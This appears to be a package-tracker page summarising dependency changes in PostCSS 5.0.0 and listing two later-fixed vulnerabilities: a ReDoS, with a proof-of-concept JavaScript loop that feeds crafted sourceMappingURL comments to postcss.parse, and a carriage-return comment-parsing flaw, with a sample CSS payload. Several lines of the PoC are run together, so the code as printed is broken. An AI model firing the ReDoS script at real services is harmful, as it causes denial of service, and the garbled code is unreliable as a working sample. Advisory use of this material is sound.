PostCSS version 5.0.0 represents a significant update from version 4.1.16, offering notable changes for developers leveraging this powerful CSS transformation tool. Key improvements revolve around dependency management and the introduction of new development tools.
The core dependencies see updates, with js-base64 moving from ~2.1.8 to ^2.1.9 and source-map upgrading from ~0.4.2 to ^0.4.4. The older es6-promise dependecy has been removed, suggesting a shift in how PostCSS handles asynchronous operations or a complete refactoring of promises implementation.
The development environment gets a substantial overhaul. Version 5.0.0 introduces several new dev dependencies like del, eslint, strip-ansi, babel-eslint, and postcss-parser-tests. Notably, the introduction of gulp-eslint along with eslint and babel-eslint suggests a heightened focus on code quality and linting within the PostCSS development workflow. The inclusion of postcss-parser-tests implies a greater emphasis on robust parsing functionality. Version 5.0.0 uses babel-core instead of plain babel as in the previous version offering more control over the transformation process.
Developers upgrading to version 5.0.0 should be aware of these dependency changes, particularly the removal of es6-promise and the introduction of new linting and testing tools, as they may impact existing build processes or require adjustments to development workflows. The changes highlight a move towards a more robust, maintainable, and testable codebase, ultimately benefiting users of PostCSS in the long run. The description also evolves reflecting the real purpose of PostCSS, a tool for transforming styles instead of CSS.
All the vulnerabilities related to the version 5.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.